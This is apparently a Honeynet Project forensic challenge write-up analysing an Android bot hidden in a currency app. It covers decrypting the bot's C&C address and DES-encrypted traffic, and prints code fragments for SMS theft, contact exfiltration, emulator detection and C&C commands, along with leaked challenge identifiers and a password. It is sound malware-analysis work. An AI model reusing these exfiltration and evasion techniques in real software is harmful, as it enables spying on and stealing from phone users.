Here - The Honeynet Project

advertisement

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

Challenge 9: Mobile Malware

Submission Template

Submit your solution at

http://www.honeynet.org/challenge2011/

by 17:00 EST, Wednesday, June 15th

2011. Results will be released around the third week of June.

Name (required): Emilien Girault Email (required): emilien.girault@sogeti.com

Country (optional): France Profession (optional):

_ Student

X Security Professional

_ Other

Question 1. Write an executive summary of this incident.

Tools Used:

Possible Points: 3pts

Awarded Points:

An Android phone has been infected by a malicious app. This app seems to be a regular one (FXware's Currency Guide) but is in reality a bot that spies on the user, and is able to leak his/her SMS, contacts, IMSI, IMEI, send SMS and call arbitrary numbers.

The authors of this challenge provide a network capture and the damaged /data partition of the phone and the goal is to extract the malware and understand its behavior.

Question 2. Provide the phone brand, model, OS name and version.

Tools Used: strings, grep, sort, uniq, Google

Awarded Points:

Possible Points: 1pts

The phone was probably communicating using Wifi, since we can see a lot of IP addresses on the same network in the PCAP file. We can use the User-Agent header sent in HTTP requests to guess the type of each one of them :

# strings traffic.pcap | grep User-Agent | sort | uniq

User-Agent: Android/1.0 (lgp970 FRG83G)

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

User-Agent: Dalvik/1.2.0 (Linux; U; Android 2.2.2; LG-P970 Build/FRG83G)

User-Agent: Debian APT-HTTP/1.3 (0.8.3ubuntu7)

User-Agent: GoogleMobile/1.0 (lgp970 FRG83G); gzip

User-Agent: JAVACLIENT

User-Agent: Microsoft BITS/6.7

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR

2.0.50727; .NET CLR 3.0.4506.2

152; .NET CLR 3.5.30729)

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 1 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

2.0.50727; .NET CLR 3.0.4506.2152; .

NET CLR 3.5.30729)

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32; jinstall)

User-Agent: Mozilla/5.0 (Linux; U; Android 2.2.2; fr-fr; LG-P970-Orange Build/FRG83G)

AppleWebKit/533.1 (KHTML, like Geck o) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-

V1.0/1.2

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.9) Gecko/20100824

Firefox/3.6.9 ( .NET CLR 3.5.30729)

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10

(maverick) Firefox/3.6.10

User-Agent: Python-urllib/2.6

User-Agent: jupdate

Both Windows and Linux machines are present on the network, as well as an Android phone. We can the deduce this information :

Brand: LG

Model: Optimus Black P970

OS: Android 2.2.2

The model of the phone was found simply by googling “LG P970”.

Question 3. Extract any suspicious application (if any). Detail your extraction method. Please provide name and SHA1 for each suspicious app.

Tools Used: file, mount , fsck.ext2, mke2fs, sha1sum

Awarded Points:

Possible Points: 4pts

First, we want to know the type of the partition.

# file data.bin data.bin: Linux rev 0.0 ext2 filesystem data (mounted or unclean), UUID=badcafee-dead-beef-

0000-000000000000

It is EXT2. We try to mount it :

# mount -t ext2 data.bin -o loop data mount: Stale NFS file handle

The mount command fails. Let’s see why :

# fsck.ext2 data.bin e2fsck 1.41.11 (14-Mar-2010) fsck.ext2: Group descriptors look bad... trying backup blocks... fsck.ext2: A block group is missing an inode table while checking ext3 journal for data.bin

It seems corrupted. We try to repair its superblock using mke2fs :

# mke2fs -S data.bin mke2fs 1.41.11 (14-Mar-2010) data.bin is not a block special device.

Proceed anyway? (y,n) y

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

Stride=0 blocks, Stripe width=0 blocks

72576 inodes, 290272 blocks

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 2 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

14513 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=297795584

9 block groups

32768 blocks per group, 32768 fragments per group

8064 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 29 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

Now we can mount it :

# mount -t ext2 data.bin data/ -o loop

We can see that there are still a lot of errors on the filesystem :

# ls ls: cannot access dontpanic: Input/output error ls: cannot access misc: Input/output error ls: cannot access local: Input/output error ls: cannot access data: Input/output error ls: cannot access app-private: Input/output error ls: cannot access property: Input/output error ls: cannot access disk: Input/output error ls: cannot access dalvik-cache: Input/output error ls: cannot access xt9: Input/output error ls: cannot access gps: Input/output error ls: cannot access cache: Input/output error ls: cannot access fota: Input/output error ls: cannot access hidden_reset: Input/output error ls: cannot access lgmtp: Input/output error ls: cannot access adbpmms: Input/output error ls: cannot access system: Input/output error ls: cannot access backup: Input/output error ls: cannot access tombstones: Input/output error ls: cannot access anr: Input/output error adbpmms backup data gps local pcsync.txt tombstones anr cache disk hidden_reset logger property xt9 app cal.bin dontpanic lgdrm lost+found rtcTest app-private dalvik-cache fota lgmtp misc system

However, we can grab the installed applications that reside under app/ :

# ls -lh app total 54M

-rw-r--r-- 1 postgres postgres 2.0M 2011-07-24 22:07 com.adobe.reader-1.apk

-rw-r--r-- 1 postgres postgres 1.9M 2011-06-20 13:37 com.android.vending-1.apk

-rw-r--r-- 1 postgres postgres 43K 2011-07-27 23:07 com.fc9.currencyguide-1.apk

-rw-r--r-- 1 postgres postgres 327K 2011-07-24 22:06 com.google.android.apps.finance-1.apk

-rw-r--r-- 1 postgres postgres 7.0M 2011-07-24 01:24 com.google.android.apps.maps-1.apk

-rw-r--r-- 1 postgres postgres 2.1M 2011-07-24 01:21 com.google.android.stardroid-1.apk

-rw-r--r-- 1 postgres postgres 8.3M 2011-07-24 01:18 com.google.earth-1.apk

-rw-r--r-- 1 postgres postgres 13M 2011-07-24 01:20 com.opera.browser-1.apk

-rw-r--r-- 1 postgres postgres 19M 2011-07-24 22:01 com.rovio.angrybirds-1.apk

-rw-r--r-- 1 postgres postgres 742K 2011-07-24 22:05 net.xelnaga.exchanger-1.apk

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 3 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

The third one, com.fc9.currencyguide-1.apk

, seems malicious (“fc9” == “Forensic Challenge 9” ?). Here is its SHA1 digest:

# sha1sum com.fc9.currencyguide-1.apk c630e3e9366c248a07287c2d72a7c02236ff92a5 com.fc9.currencyguide-1.apk

It seems to be FXware Currency Guide, but the name has been changed.

We uploaded the APK to VirusTotal. None of the 43 antiviruses detects it.

We computed the digest of the other ones, and they seem genuine.

Question 4. What permissions are requested by the malware(s)? Why it is suspicious? Possible Points: 1pts

Tools Used: apktool

Awarded Points:

We use apktool to disassemble the application com.fc9.currencyguide-1.apk, and to decode its Manifest.xml file.

Here is the permissions section of the manifest :

<uses-permission android:name="android.permission.INTERNET" />

<uses-permission android:name="android.permission.READ_PHONE_STATE" />

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

<uses-permission android:name="android.permission.WAKE_LOCK" />

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

<uses-permission android:name="android.permission.CAMERA" />

<uses-permission android:name="android.permission.VIBRATE" />

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

<uses-permission android:name="android.permission.CALL_PHONE" />

<uses-feature android:name="android.hardware.camera" />

<uses-permission android:name="android.permission.SEND_SMS" />

<uses-permission android:name="android.permission.READ_CONTACTS" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<uses-permission android:name="android.permission.READ_SMS" />

Highlighted are the permissions that, used in conjunction with android.permission.INTERNET, are suspicious. Indeed, the app is likely to transmit the user’s GPS coordinates, SMS and contacts, to a web server. More, the app can dial arbitrary numbers and will automatically start when Android boots. This is typical of malwares.

Question 5. Please provide a solution/s to quickly identify any suspicious API

(please define your suspicious API according to your understanding).

Tools Used: Dex2jar, JDGUI, grep

Awarded Points:

Possible Points: 8pt

We used Dex2jar to convert the APK into a JAR file, which can then be opened with JDGUI. We can export the Java source code into a folder, and then use grep to find intents:

# grep -rin intent . | grep "\""

./c/a.java:33: Intent localIntent3 = localIntent1.setAction(" android.intent.action.VIEW

");

./c/a.java:34: Intent localIntent4 = localIntent1.addCategory(" android.intent.category.BROWSABLE

");

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 4 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

./c/b.java:30: Intent localIntent1 = new Intent(" android.intent.action.CALL

", localUri);

./c/h.java:26: IntentFilter localIntentFilter = new

IntentFilter(" android.provider.Telephony.SMS_RECEIVED

");

Malicious intents are those that could violate the user’s privacy (access his personal data), or steal money from him (by calling or sending SMS to premium rate numbers).

The use of SMS, contact and cryptography related APIs can be considered as suspicious:

# grep -rin sms .

./c/c.java:26: Uri localUri = Uri.parse(" content://sms/ ");

./c/h.java:26: IntentFilter localIntentFilter = new

IntentFilter(" android.provider.Telephony.SMS_RECEIVED

");

./c/j.java:4: import android.telephony.SmsManager;

./c/j.java:29: SmsManager localSmsManager = SmsManager.getDefault();

./c/j.java:34: localSmsManager.sendTextMessage

(str1, null, str2, localPendingIntent1, localPendingIntent2);

./R.java:7: import android.telephony.SmsMessage

;

./R.java:29: SmsMessage localSmsMessage =

SmsMessage.createFromPdu

((byte[])arrayOfObject[i]);

./R.java:32: String str5 = localSmsMessage.getOriginatingAddress();

./R.java:34: String str6 = localSmsMessage.getMessageBody();

# grep -rin contacts .

./c/i.java:7:import android.provider.ContactsContract.CommonDataKinds.Phone;

./c/i.java:8: import android.provider.ContactsContract.Contacts;

./c/i.java:30: Uri localUri1 = ContactsContract.Contacts.CONTENT_URI;

./c/i.java:63: Uri localUri2 = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;

# grep -rin crypto .

./d/a.java:3:import javax.crypto.spec.

DESKeySpec ;

./e/a.java:4:import javax.crypto.

Cipher ;

./e/a.java:5:import javax.crypto.NoSuchPaddingException;

./e/a.java:6:import javax.crypto.

SecretKeyFactory ;

./g/a.java:9:import javax.crypto.Cipher;

./g/a.java:10:import javax.crypto.

SecretKey ;

./g/a.java:11:import javax.crypto.SecretKeyFactory;

Question 6. What is the malware's home server URL and where is it located?

Where, in the code, is/are stored the command server(s) URL(s)

Tools Used: JDGUI, Eclipse and Android SDK, Python, ping, whois, Google

Awarded Points:

Possible Points: 4pt

The URL of the C&C server is located in the daemon.a

class, and is encrypted (as many internal strings):

//hostname

String str1 = com.fc9.currencyguide.daemon.g.a.a(new byte[] { 42, 167, 73, 214, 71, 27, 136,

254, 50, 90, 90, 213, 193, 87, 209, 28, 239, 154, 72, 51, 186, 50, 238, 242, 32, 214, 41,

139, 73, 230, 181, 92 });

[...]

//port

String str2 = com.fc9.currencyguide.daemon.g.a.a(new byte[] { 87, 138, 6, 47, 250, 190, 198,

254 });

It is decrypted on-the-fly by the bot, using a key derived from the IMSI of the phone (cf question 8) : key = sha1(IMSI).substring(0,16)

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 5 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

It is then used to perform HTTP POST requests, such as in daemon.f.a:

public final byte[] a(String paramString1, String paramString2)

{

[...]

HttpPost localHttpPost1 = new HttpPost(paramString1); //paramString1 is the decrypted URL

We can decrypt the URL with this key:

>>> ("208013002954000" | sha1)[:16] | hexstring2list

[99, 178, 82, 246, 250, 244, 22, 127]

Then we write a simple Java application that uses this key to decrypt the URL : try {

SecretKeyFactory localSecretKeyFactory = SecretKeyFactory.getInstance("DES");

SecretKey localSecretKey = localSecretKeyFactory.generateSecret(new DESKeySpec(

new byte[]{99, (byte)178, 82, (byte)246,(byte) 250,(byte) 244, 22, 127}));

Cipher localCipher = Cipher.getInstance("DES");

localCipher.init(2, localSecretKey);

String plaintext = new String (localCipher.doFinal(new byte[] { (byte)

42,(byte)167,(byte)73,(byte)214,(byte)71,(byte)27,(byte)136,(byte)254,(byte)50,(byte)90,(byte

)90,(byte)213,(byte)193,(byte)87,(byte)209,(byte)28,(byte)239,(byte)154,(byte)72,(byte)51,(by te)186,(byte)50,(byte)238,(byte)242,(byte)32,(byte)214,(byte)41,(byte)139,(byte)73,(byte)230,

(byte)181,(byte)92 })); //same thing for the port

Log.d("TestAPK", " => " + plaintext);

} catch (Exception e) {

e.printStackTrace();

}

Once decrypted, the URL of the C&C server is http://faeacdeadbeefada.zonbi.org:443 .

However, we can ping the server :

# ping faeacdeadbeefada.zonbi.org

PING faeacdeadbeefada.zonbi.org (173.255.253.196) 56(84) bytes of data.

64 bytes from brns.zonbi.org (173.255.253.196): icmp_seq=1 ttl=128 time=242 ms

64 bytes from brns.zonbi.org (173.255.253.196): icmp_seq=2 ttl=128 time=229 ms

64 bytes from brns.zonbi.org (173.255.253.196): icmp_seq=3 ttl=128 time=244 ms

^C

--- faeacdeadbeefada.zonbi.org ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2001ms rtt min/avg/max/mdev = 229.620/238.881/244.220/6.574 ms

The IP address is the same as the one within the PCAP file.

We can perform a Whois lookup on this IP :

[…]

Linode LINODE-US (NET-173-255-192-0-1) 173.255.192.0 - 173.255.255.255

[…]

The IP address belongs to Linode, located in New Jersey, United States .

Question 7. What can you say about the communications model between the Possible Points: 2pts

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 6 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011 malware and its C&C server?

Tools Used: Wireshark

Awarded Points:

The malware periodically fetches web pages on its C&C server, in order to receive orders. However, these communications are somehow obfuscated :

The server listens to the TCP port 443, usually reserved for HTTPS. But the communication occurs in HTTP, so if we want to read it with Wireshark, we have to use the “Decode as” option, and select HTTP.

All requests seem to be encrypted: no sensitive data appear clearly in the capture.

Question 8. If encryption was used for the communication, which encryption algorithm was used? What was the key used? Explain how you found it.

Tools Used: Dex2jar, JDGUI, grep, Python

Awarded Points:

We use grep to find patterns within the Java source code:

Possible Points: 4pts

# grep –rin crypto

./daemon/d/a.java:3:import javax.crypto.spec.DESKeySpec;

./daemon/e/a.java:4:import javax.crypto.Cipher;

./daemon/e/a.java:5:import javax.crypto.NoSuchPaddingException;

./daemon/e/a.java:6:import javax.crypto.SecretKeyFactory;

./daemon/g/a.java:9:import javax.crypto.Cipher;

./daemon/g/a.java:10:import javax.crypto.SecretKey;

./daemon/g/a.java:11:import javax.crypto.SecretKeyFactory;

# grep -rn DES .

./daemon/d/a.java:3:import javax.crypto.spec.DESKeySpec;

./daemon/d/a.java:5:public final class a extends DESKeySpec

./daemon/e/a.java:14: SecretKeyFactory localSecretKeyFactory1 =

SecretKeyFactory.getInstance("DES");

./daemon/e/a.java:29: Cipher localCipher1 = Cipher.getInstance("DES");

We can see that obfuscation techniques has been used (probably Proguard ?), since most of the class, method and package names has been changed to “a”, “b”, “c”, etc.

The Data Encryption Standard algorithm seems to be used in daemon/e/a.java. This class is a wrapper for creating Ciphers and SecretKeyFactories. We can use grep to find cross references to this class :

# grep -rn "daemon.e.a" .

./daemon/e/a.java:46: * Qualified Name: com.fc9.currencyguide.daemon.e.a

./daemon/g/a.java:76: SecretKeyFactory localSecretKeyFactory = com.fc9.currencyguide.daemon.e.a.a();

./daemon/g/a.java:79: Cipher localCipher = com.fc9.currencyguide.daemon.e.a.b();

It is used by daemon/g/a. This class performs decryption operations. It holds two keys, a and b.

public static byte[] a = new byte[8];

public static String b;

private static byte[] c = "HNfCha9".getBytes(); //looks like a key, but it is never used

“b” is initialized in CComService, as the IMSI of the phone. However, we do not have the IMSI yet, and by browsing the code we can see that this key is used only to decrypt internal hardcoded strings, such as the C&C server URL.

The communications between the bot and the server use the second key, “a”, which is initialized in CCcomService :

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 7 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

localh.a(str1, "0963485269741EF69AE45D69F23AA9"); //localh’s type is daemon.b.h

com.fc9.currencyguide.daemon.g.a.a = b.a();

Let’s have a look at the daemon.b.h.a() method. Its second parameter looks like a key :

public final void a(String paramString1, String paramString2 )

{

Pattern localPattern = Pattern.compile("x=([A-F0-9]+)&n=([A-F0-9]+)&s=([A-F0-9]+)");

com.fc9.currencyguide.daemon.f.a locala1 = new com.fc9.currencyguide.daemon.f.a();

com.fc9.currencyguide.daemon.g.b localb = new com.fc9.currencyguide.

daemon.g.c(paramString2).a();

The daemon.g.c class is called. When the object is instantiated, “64” is prepended to the “09…A9” string constant. Then, the a() method is called. Roughly, here is the algorithm that is used, in pseudo-code :

P = random_prime(128) //128 is the bit size

G = random(128)

N = random(128) //N is unused

C = 0x640963485269741EF69AE45D69F23AA9 //the constant is used as an hex number

X = G ^ C mod P //modular exponentiation

X, G, P and N are sent over the network in a request to /data.php. The C&C server responds with 3 numbers N, S and X

(we’ll call it X2, to avoid the confusion with the first X). Then the malware computes :

K = X ^ C mod P //S and N are unused

K is then converted to a 16-byte array, and the 8 least significant ones (on the right) are used as the DES key for encrypting and decrypting the communications between the server and bot.

This is typically an implementation of the Diffie-Hellman key exchange algorithm. However, here it is vulnerable since C is not random (N should have been used instead). X and P can be found in the PCAP file and we have C, so we can easily find

K using the following Python script : def modExp(a, b, m) :

"""Computes a to the power b, modulo m, using binary exponentiation

"""

a %= m

ret = None

if b == 0 :

ret = 1

elif b%2 :

ret = a * modExp(a,b-1,m)

else :

ret = modExp(a,b//2,m)

ret *= ret

return ret%m p=int("00EABBE22F3A27C63780C932C76B351199", 16) c=int("640963485269741EF69AE45D69F23AA9", 16) x2=int("9915D4E8B2F342BEFC3E70C352D78F49", 16) print "%x" % modExp(x2, c, p)

Result :

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 8 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

17355c6874cba653c4c9973a45c7007d

The DES key for encrypting and decrypting the communication is c4c9973a45c7007d .

We can convert it into a Java-style byte array :

>>> hexstring2list = lambda x: [int(x[2*i:2*i+2],16) for i in range(len(x)/2)]

>>> ",".join(["(byte)" + str(i) for i in hexstring2list("c4c9973a45c7007d")])

'(byte)196,(byte)201,(byte)151,(byte)58,(byte)69,(byte)199,(byte)0,(byte)125'

Note: The “(byte)” are required to avoid a syntax error due to the fact that Java bytes are signed.

Question 9. Please draw a graph of the decrypted communication flow, found in the pcap, between the malware and the C&C.

Tools Used: Wireshark, Scapy, Python, Eclipse, Android SDK (Emulator, adb), Bouml

Awarded Points:

Possible Points: 4pts

Flow graph

Here is a simplified flow graph of the communications between the bot and the C&C server. Redundant calls to /data.php without response have been deleted. The decrypted communications have been truncated in order to fit in the graph. XML data has been converted to function calls to improve readability. The process of extracting them is explained in the next paragraph.

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 9 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

Decrypted communications

In order to automate the decryption of the communications, we use Wireshark to export the packets matching this filter : ip.addr==172.16.2.101 and tcp.port==443 and http

We export those packets into a pcap file, and then use Scapy to extract the HTTP layer of the packets : r=rdpcap("http_traffic.pcap") open("http_streams.bin","wb").write("\n".join([p[Raw].load for p in r if Raw in p]))

The resulting file contains all HTTP requests and responses. We can use the following Python script to extract the embedded encrypted data : import re

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 10 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011 hexstring2list = lambda x: [int(x[2*i:2*i+2],16) for i in range(len(x)/2)] def extract1():

"""Extract ciphertexts embedded in requests, in the form data=[...]"""

data = [hexstring2list(l[5:-1]) for l in open("http_streams.bin").readlines() if "data=" in l ]

print "static byte[][] extracted_ciphertexts1 = new byte[][]{"

for c in data:

print "new byte[] {",

print ",".join(["(byte)" + str(i) for i in c]),

print "},"

print "};" def extract2():

"""Extracts ciphertexts embedded in responses from the server, in binary"""

f = open("http_streams.bin","rb").read()

o = re.findall("GMT\r\nContent-Length: [0-9]+\r\n\r\n(.+?)\nPOST", f, re.DOTALL)[1:]

print "static byte[][] extracted_ciphertexts2 = new byte[][]{"

for c in o:

print "new byte[] {",

print ",".join(["(byte)" + str(ord(i)) for i in c]),

print "},"

print "};"

Those two functions generates a Java output that declares two arrays of ciphertexts (byte arrays) that can we can copy and paste to Eclipse, in order to perform decryption : public void decrypt_all() { for ( int i = 0; i< extracted_ciphertexts1 .

length ; i++) { try {

SecretKeyFactory localSecretKeyFactory = SecretKeyFactory.getInstance( "DES" );

SecretKey localSecretKey = localSecretKeyFactory.generateSecret(

new DESKeySpec( new byte []{-60,-55,-105,58,69,-57,0,125}));

Cipher localCipher = Cipher.getInstance( "DES" );

localCipher.init(2, localSecretKey);

String plaintext = new String(localCipher.doFinal( extracted_ciphertexts1 [i]));

Log.d( "TestAPK" , "i=" + i + " => " + plaintext);

} catch (Exception e) {

}

}

}

The same algorithm is applied to both groups of ciphertexts. We then run the application in the emulator, and grab the plaintexts with adb logcat :

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 11 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

From the bot to the C&C server : imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr

21080=Votre mot de passe est strictement confidentiel : conservez-le pr+®cieusement et ne le communiquez pas +á un tiers. Votre mot de passe est 3B6AT4&+33666186296=Le 0645324806 remporte 1 ch+¿que en euro!Composez le 0899650923 pr le retirer imm+®diatement. Jeu sous

Controle d huissier (1E35/ap+0E34/mn)&+33644066241=VocalMessenger: Vous avez recu 1 nouveau message vocal a 11:59. Pour le consulter, composez le 0899230625

Code confidentiel: 1701

(1e35+0e34-noSmsEnvStop)&20904=Mobicarte - Compte Principal. Attention, il vous reste moins dÔÇÿune journ+®e pour utiliser votre cr+®dit de 3.93 EUR.&20904=Mobicarte - Compte Principal.

Attention, il ne vous reste plus quÔÇÿune journ+®e pour utiliser votre cr+®dit de 4.05

EUR.&20904=Mobicarte - Compte Principal. Attention, il vous reste moins dÔÇÿune semaine pour utiliser votre cr+®dit de 4.17 EUR.&20904=Mobicarte - Compte Principal. Attention, il ne vous reste plus quÔÇÿune semaine pour utiliser votre cr+®dit de 4.29 EUR.&20904=mobicarte: votre ligne est identifi+®e, vous pouvez maintenant choisir votre Bonus et recharger votre compte au #123# (appel gratuit).&20904=Mobicarte: Votre numero de telephone est le 0645324806, valide jusquÔÇÿau 05/01/12.&20904=Bienvenue chez Orange,votre num+®ro mobicarte est le

0645324806. Vous b+®n+®ficiez dÔÇÿun cr+®dit de 5E de communications valable jusquÔÇÿau

05/01/12 en Fce m+®tro.& imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr

Niobe=5553&Agent Smith=5551&Merovingian=5559&Trinity=5558&Seraph=5557&Neo=5555&Morpheus=5554& imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr

From the C&C server to the bot :

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<rootElem>

<cmd>getsms</cmd>

<params>/01lO1110llOO.php</params>

</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<rootElem>

<cmd>smsspy</cmd>

<params></params>

</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<rootElem>

<cmd>getcontacts</cmd>

<params>/0S550SSSO5.php</params>

</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<rootElem>

<cmd>call</cmd>

<params>('+33645324806',)</params>

</rootElem>

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 12 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<rootElem>

<cmd>sendsms</cmd>

<params>+33645324806;Bot can send SMS !</params>

</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<rootElem>

<cmd>vibrate</cmd>

<params>1000</params>

</rootElem>

Note: The Android SDK and emulator are actually not required, as javax.crypto is a standard Java API.

Question 10. What personal information were leaked during this incident A special

*secret* information was leaked, Explain how and what it was.

Tools Used: None

Awarded Points:

Possible Points: 2pts

The IMSI, IMEI and contacts were leaked by the bot. More, we can find both the phone number of the owner (0645324806) and its password (3B6AT4), which is used to authenticate on Orange.fr.

The malware could also intercept baking credentials, often sent as SMS by banks when online purchasing.

Question 11. What particular techniques are used by the malware to harden analysis or to evade detection? What unusual behavior can be noticed?

Tools Used: JDGUI, baksmali, Android SDK and Emulator, Python

Awarded Points:

Possible Points: 6pts

Technique 1

As we discussed previously, the malware encrypts some of its own strings to avoid leaking the C&C server URL, as well as the whole communications. This slows down the analysis process, as the reverse-engineer needs to look for the encryption key and decrypts manually the communications.

Technique 2

While browsing the code with tools such as JDGUI and baksmali, we can see that the first operations that the malware does is a detection of its running environment. Indeed, it is able to detect whether it is running inside the emulator or not . The detection code resides in daemon/e/b, and is called in BootReceiver and FC9 :

public static Boolean a()

{

Boolean localBoolean = Boolean.valueOf(0);

if (a.a(Build.DEVICE).equalsIgnoreCase("46a808cfd5beafa5e60aefee867bf92025dc2849"))

localBoolean = Boolean.valueOf(1);

while (true)

{

return localBoolean;

//Similar test on Brand.MODEL, Brand.PRODUCT and Brand.BRAND

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 13 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

if (a.a(Build.MODEL).equalsIgnoreCase("5a374dcd2e5eb762b527af3a5bab6072a4d24493"))

{

localBoolean = Boolean.valueOf(1);

continue;

}

if (!a.a(Build.PRODUCT).equalsIgnoreCase("5a374dcd2e5eb762b527af3a5bab6072a4d24493"))

continue;

localBoolean = Boolean.valueOf(1);

}

}

public static Boolean a(String paramString)

{

Boolean localBoolean = Boolean.valueOf(0);

return

Boolean.valueOf(paramString.equalsIgnoreCase("63B252F6FAF4167F8BCAEA57D7D47A326B7354D2"));

}

These SHA1 digest are specific to the emulator :

>>> "sdk" |sha1

'5a374dcd2e5eb762b527af3a5bab6072a4d24493'

>>> "generic" |sha1

'46a808cfd5beafa5e60aefee867bf92025dc2849'

>>>

The last one corresponds to the phone IMSI (208013002954000). Thus, this malware is specific to one device (to one SIM card, actually) and will not work on a different phone. We think the authors of the challenge did that on purpose in order to prevent any use of this malware in real life

.

These methods are called from BootReceiver :

public void onReceive(Context paramContext, Intent paramIntent)

{

if (com.fc9.currencyguide.daemon.e.b.a().booleanValue())

return;

b localb = new b(paramContext);

if (!com.fc9.currencyguide.daemon.e.b.a(a.a(localb.b())).booleanValue())

return;

[...] //Start CCcomService

If one of them returns true, the app know it runs inside the emulator, and the CCcomService won’t be launched.

Technique 3

Since the IMSI is used as a key to decrypt hardcoded strings, the same APK won’t be able to run on a device that doesn’t have the same SIM card. Thus, even if we patch the emulator detection routine (by recompiling the APK with Smali), the application won’t work . It will indeed throw this exception when it runs inside another phone (or the emulator) : javax.crypto.BadPaddingException: Given final block not properly padded

This means that the hardcoded encrypted strings could not be decrypted with the second IMSI.

Question 12. Provide a detail analysis of the malware behavior and features. Possible Points:

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 14 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

10pts

Tools Used: Baksmali, JDGUI, Bouml

Awarded Points:

During the installation of the application, Android installs the BootReceiver class as a BroadcastReceiver. It will be called each time the phone is booting, as specified in the Manifest.xml :

<receiver android:name="com.fc9.currencyguide.daemon.BootReceiver">

<intent-filter>

<action android:name="android.intent.action.BOOT_COMPLETED" />

</intent-filter>

</receiver>

After verifying that the app is not running inside the emulator, the BootReceiver class starts the CCcomService. This service is also started when the FC9 Activity is started, which runs in background when the user launches the application with

Android’s menu :

<activity android:theme="@android:style/ Theme.NoDisplay

" android:label="@string/app_name" android:name="com.fc9.currencyguide.daemon.fc9">

<intent-filter>

<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />

</intent-filter>

</activity>

The CCcomService class implements the main loop of the malware, which is constantly talking to the C&C server. We can identify different stages in the communication, delimited by calls to the method daemon.b.c.a(). Indeed, the malware can be viewed as a Finite-State Machine, and this method implements the transition between states.

States are located in the d enum, and transitions are stored in the f enum, both located in the daemon.b package. Since

JDGUI cannot be used to view the labels of each enum value, we can use baksmali to have a human readable view of those files :

